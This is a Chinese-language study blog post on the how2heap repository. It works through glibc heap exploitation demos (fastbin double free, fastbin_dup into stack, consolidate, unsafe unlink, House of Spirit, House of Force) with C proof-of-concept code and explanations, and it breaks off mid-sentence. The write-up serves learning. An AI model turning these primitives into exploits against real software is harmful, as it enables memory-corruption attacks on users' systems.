how2heap学习(1)

#how2heap

寒假了终于有大把大把的时间来集中学习了,自己也制定了计划,希望自己能坚持下来吧。how2heap是表哥推荐的,涵盖了很多知识点,寒假前段时间会系统的总结一下,相关题目的wp估计会另外开一个,这个权当是知识点的总结了,也是为了方便之后自己复习

还有一篇关于内存管理的文章相当不错,也放这里码着

http://paper.seebug.org/papers/Archive/refs/heap/glibc%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86ptmalloc%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90.pdf

first_fit

首先来看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(512);
char* b = malloc(256);
char* c;

fprintf(stderr, "1st malloc(512): %p\n", a);
fprintf(stderr, "2nd malloc(256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a);

fprintf(stderr, "So, let's allocate 500 bytes\n");
c = malloc(500);
fprintf(stderr, "3rd malloc(500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.");
}

首先是申请了两块内存,并让a、b分别指向它们,然后将a的内存空间存入字符串“this is A”,然后free了a,这里我们注意到,a的内存free了,但是a并没有被我们人为的改变指针的指向,a的指针目标仍然是之前的内存,即使已经free了。

然后我们又malloc了内存给了c,注意这里malloc的内存大小是小于a的。这里就会发生first-fit,简单的说,glibc在malloc时会检查free_chunk,当free_chunk的大小足够时,glibc会优先分配这个chunk,所以我们这里的c实际上也就是指向我们最开始分配的内存地址的。

接着将“this is C”给了c指向的内存,接着输出a、c,通过前面的解释我们已经知道了,a、c都应该会输出“this is C”

当我们分配了a、b后堆的情况如下所示

image-201901151712447271

继续运行可以看到a的内存地址里存储的内容

image-20190115171549866

接着程序会free掉a,我们可以在unsortedbin里看到

image-20190115171752114

当我们malloc后,我们存入“this is c”,然后再次打印a指向的地址

image-20190116155445184

结果和我们预测的一样。

fastbin_dup

这个例子像我们展示了利用fastbin的free机制来实现double free

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
}

程序首先分配了三块较小的内存,然后free了a,此时,a就会进入了fastbin中,且位于top。由于a是top,所以再次的free是不被允许的。此时list的状态如下(fastbin的chunk没有bk,而a的front为NULL)

1
list = [0x602000<-0x0]

继续运行程序到b、c被free,同样进入了fastbin,c成为了top,而由于a不再是top,所以a可以再次被free

1
list = [0x602040->0x602020->0x602000<-0x0]

而当我们真正去再次free之后就会导致a再次成为top,这样就形成了一个环状结构

下面再次分配三个chunk,我们会发现第一个分配的还是0x602000,第二个则是0x602040,第三则是0x602020,完全符合之前的fastbin结构,程序到这里就结束了,但我们很好奇,如果继续malloc会发生什么呢?简单修改程序后我们再次运行

image-20190116163028130

可以看到它分配的第四个chunk还是0x602000,也印证了我们刚才所说的环形结构,同时我们也知道了,假如我们有两个malloc的chunk分别是a、b,且通过double free使之形成类似的结构,当我们malloc a时,b成了fastbin的top,malloc b,a就成了fastbin的top,有种自动free的感觉。。。。

fastbin_dup_into_stack

实际上是在前面知识的基础上又近了一步,尝试去欺骗malloc返回一个我们可控区域的指针,还是先上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

可以看到之前的操作没变,都是先利用了double free使得fastbin呈现环状,此时的环应该是

1
list = [0x602000<->0x602020]

后面的操作就很有意思了,先是malloc了两次,那第一个分配的就应该是0x602000,第二个就是0x602020,接着它就改了d的值,很显然修改的就是它的fd指针的值,那当我们再次malloc时,就会产生很神奇的情况:我们再次分配了0x602000,但是由于fd是stack,所以进入fastbin的成了stack而不是0x602020,环就被打破了,当我们再次malloc,我们就实现了malloc了stack的地址。

image-20190116165415679

image-20190116165439383

可以看到情况确实和我们想的一样,原理就是这样了,再看看具体的实现细节。我们先是定义了一个局部变量,我们都知道局部变量是在栈上的,然后取地址,再让地址减去chunk的大小,这是为什么呢?我们之前的操作可以注意到,实际上malloc返回的并不是我们实际分配空间的起始部分,它跳过了chunk的固有信息(如size),直接从内容处开始,所以d作为一个指向内容的指针,我们同样需要把我们伪造的空间的内容部分给他,而这一部分在malloc的空间没有被实际的数据填充时,也就是fd指针。

还有一个问题是为什么stack变量要赋予0x20的初始值呢?这是为了伪造chunk的curSize部分,也就是我们常说的那3个bit的flag位,当然0x21也可以(0x21是理论上最正确的)

fastbin_dup_consolidate

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);

void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

首先malloc了两次,分配的地址分别为0x602000、0x602050两个,接着free第一个,此时的fastbin即为

1
list = [0x602000]

接着malloc了一个较大的内存空间,为0x6020b0,此时就是重点了。当glibc在分配一个large chunk时会检查是否存在fastbin,如果有的话,就会合并到unsortedbin中,再根据大小插入smallbin或者largebin,这就是所谓的consolidate。

此时bin的状态如下

1
2
fastbin = []
smallbin = [0x602000]

由于0x602000不再fastbin的top了,所以又可以free了,这样0x602000就又到了fastbin里了,接下来再malloc

image-20190117205810704

此时malloc先分配了fastbin中的0x602000,接着再malloc第二次

image-20190117205859176

可以看到分配还是0x602000,这次分配的实际上是我们的smallbin里的

了解这个首先需要复习一下基础的知识了,首先回顾一下chunk的结构:

  • 当我们的chunk被分配之后

    1
    2
    3
    4
    ---------------------malloc chunk -----------------------
    -------- Size of previous chunk, if allocated ----------
    ---------Size of chunk, in bytes and 3 bit flags --------
    -------------user data,size == malloc size -------------- <--malloc return address
  • 当我们的chunk free后

    1
    2
    3
    4
    5
    ------------------free malloc chunk -----------------------
    -------- Size of previous chunk, if allocated ----------
    ---------Size of chunk, in bytes and 3 bit flags --------
    ---------Forward pointer to next chunk in list ----------
    ---------Back pointer to previous chunk in list ---------

第二个问题就是什么是unlink,unlink指的是linux系统在进行空闲堆块管理的时候,进行空闲堆块的合并操作。一般发生在程序进行堆块释放之后。比如说图中三个chunk,我们现在要拿走p

2

这时就有unlink操作了,其操作就是数据结构中学习的链表元素的删除

1
2
p->fd->bk = p->bk
p->bk->fd = p->fd

当然我们可以看看unlink的代码,它并不是这么无脑的就进行了,它还会进行检查

1
P->fd->bk == P && P->bk->fd == P

当然这个检查我们非常容易绕过,我们的fd和bk都可以是非法的,只要fd->bk和bk->fd又指回了p就可以了

了解了这些后我们就开始看代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{

int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1

chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);

chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

uint64_t *chunk1_hdr = chunk1_ptr - header_size;

chunk1_hdr[0] = malloc_size;

chunk1_hdr[1] &= ~1;


free(chunk1_ptr);

char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %s\n",victim_string);
}

程序首先malloc了chunk0和chunk1,接下来对chunk0的offset2、3处做了赋值操作,根据上面的chunk结构我们很明显可以看出这是在user data里面选择了一片空间进行操作,它特意隔开了两个size,这两个size也就是一个正常的chunk所需的header部分,也就是说我们在伪造一个chunk(这个程序留出来的两个size真正的用处是实现该处地址的读写)。

接下来程序修改了chunk1的内容,首先通过chunk1_ptr - header_size的方式找到了chunk1_header地址(这里的2实际上是2*sizeof(ptr)),接下来的任务就简单了,将prev_size改为我们malloc的size,而将chunk_size的后三位flag进行修改,将上一个chunk视为free可合并状态。

如此,在free chunk1时,我们伪造的chunk0由于同样是free状态,就会发生合并,而合并的过程如下(以下的chunk0指我们伪造的chunk0,true_chunk是我们真的chunk0)

1
2
3
FD == chunk0->fd == true_chunk - 3*size
FD->bk == true_chunk
true_chunk --> chunk0

那也就是说,我们将chunk0设置为目的地址,也就是true_chunk[3],就可以通过true_chunk[0]来修改里面的内容了,这也就是为什么最后程序成功修改了victim_string的原因。

House of Spirit

house_of_Spirit技术大概上讲的是将已经存在的指针指向我们伪造的chunk(可以位于堆栈、BSS段等等),之后欺骗glibc的相关检查,free进入bin

由于how2heap上的代码有点太多了,所以这里我们用一个简单的demo先来学习一下,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
#include<stdlib.h>
struct fast_chunk
{
size_t pre_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20];
};

int main(void)
{
struct fast_chunk fake_chunks[2];
void *ptr,*victim;
ptr=malloc(0x30);
fake_chunks[0].size=sizeof(struct fast_chunk);
fake_chunks[1].size=sizeof(struct fast_chunk);
ptr=(void *)&fake_chunks[0].fd;
free(ptr);
victim=malloc(0x30);
}

可以看到首先我们在栈上分配了两个我们自己定义的chunk,接着malloc了真的,之后设置了自定义chunk的size的值,free了我们自定义的chunk,再次malloc时,我们会发现victim就是我们伪造的chunk了。

那么问题来了,为什么我们在伪造chunk的时候只是设置了size部分呢?这就要读一下free相关的源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void public_fRE(Void_t* mem)
{
mstate ar_ptr;
mchunkptr p;
...
p = mem2chunk(mem); //找到了mem的chunk地址
if (chunk_is_mmapped(p)) //检查chunk的mmp位
{
munmap_chunk(p); //用unmmap的方式取消映射
return;
}
...
ar_ptr = arena_for_chunk(p); //找到chunk对应的area
...
_int_free(ar_ptr, mem); //调用init_free()
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void _int_free(mstate av, Void_t* mem)
{
mchunkptr p;
INTERNAL_SIZE_T size;
mfastbinptr* fb;
...
p = mem2chunk(mem); //找到了mem的chunk
size = chunksize(p); //获得chunk的size
...
if ((unsigned long)(size) <= (unsigned long)(av->max_fast)) //当前chunk的size字段的比较,不能超过fastbin的最大值
{
if (chunk_at_offset(p, size)->size <= 2 * SIZE_SZ
|| __builtin_expect(chunksize(chunk_at_offset(p, size))
>= av->system_mem, 0)) //比较下一个chunk的size字段,2*SIZE_ZE<chunksize<av->system_mem

{
errstr = "free(): invalid next size (fast)";
goto errout;
}
...
fb = &(av->fastbins[fastbin_index(size)]);
...
p->fd = *fb;
*fb = p;
}
}

试了一下这个简单的demo之后再去看how2heap上的代码就很简单了,同样是伪造chunk,不过就是伪造chunk的手段不一样(how2heap中运用了一个较大的数组人工划分了两个chunk)。

还有一点就是两个例子中的size都不大,这是为了free后进入的是fastbin,前面free的源码中也表明了,如果你的size不够fastbin要求的话是根本没法触发之后的操作的。

House of force

主要是针对top chunk,通过修改top chunk来malloc任意地址

还是先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
fprintf(stderr, "Its current value is: %s\n", bss_var);
intptr_t *p1 = malloc(256);
int real_size = malloc_usable_size(p1);
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);
//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
void *new_ptr = malloc(evil_size);
void* ctr_chunk = malloc(100);
fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);
}

这个例子的目的就是改写我们一开始的变量bss_var的值,首先我们malloc了p1,然后通过了计算得到了top的地址。这怎么算出来的呢?我们都知道malloc返回的地址并不是真正的chunk起始地址,而是chunk除去了chunk header的部分,所以我们先先去2*size得到chunk的真正地址,接着再算一下chunk的real size(也就是chunk实际用的大小加上chunk header的大小),二者相加就得到了top的地址。当然实际上算的时候没这么麻烦。。。那我们就可以构想一下了,假如我现在想要malloc返回任意的地址,以上述代码中的bss_var为例,那我的目标就是应该malloc时,top_chunk恰好等于我的地址,所以我们首先需要一个构造一个evil_size使得malloc(evil_Size)后我们的top chunk恰好到了我们想让它到的地方,而这个

。。。。